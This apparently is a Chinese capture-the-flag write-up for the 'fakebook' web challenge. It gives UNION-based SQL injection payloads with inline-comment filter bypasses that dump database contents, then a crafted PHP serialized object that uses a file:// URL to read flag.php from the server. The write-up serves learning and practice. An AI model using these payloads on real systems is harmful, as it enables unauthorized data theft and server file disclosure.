fakebook
解题方法:
一.用御剑扫描后台,查看robot.txt文件,发现是一个/user.php.bak,备份文件,我们访问这个文件
<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}
这段代码定义了一个名为 UserInfo
的 PHP 类,用于存储用户信息并提供一些与用户博客相关的功能
在getBlogContents方法中,$this->get是一个用于发起HTTP请求的并获取内容的方法,如果$this->get被设置为一个恶意的URL,比如指向本地文件系统或执行某些危险命令,那么这个方法可能会被用来触发安全问题
我们通过代码提示的信息注册用户
注册成功后,发现username下的1可以点
跳转到view.php中并通过no传参
考虑是否有:注入,文件包含,伪协议……
利用SQL注入参数no为数字型注入判断字段数为4,绕过过滤用内联注释绕过union select
获取库名,表名,字段名
?no=-1 union/**/select 1,database(),3,4-- - # 数据库名:fakebook
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- - # 表名:users
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'-- - # 字段:no,username,passwd,data
?no=-1 union/**/select 1,group_concat(data),3,4 from users-- - # 数据:O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:1;s:4:"blog";s:222:"https://cn.bing.com/search?q=%5B%E7%BD%91%E9%BC%8E%E6%9D%AF+2018%5DFakebook&qs=n&form=QBRE&sp=-1&lq=0&pq=%5B%E7%BD%91%E9%BC%8E%E6%9D%AF+2018%5Dfakebook&sc=6-18&sk=&cvid=30C97E210BB24A1BB8133DD531D12478&ghsh=0&ghacc=0&ghpl=";}
data
字段存储序列化后的用户信息,需进一步利用
构造恶意序列化数据
通过user.php.bak源码,构造UserInfo对象的序列化字符串,将blog指向file:///var/www/html/flag.php:
<?phpclass UserInfo {public $name = "test";public $age = 0;public $blog = "file:///var/www/html/flag.php";}echo serialize(new UserInfo);
或者使用load_file直接从/var/www/html/flag.php获取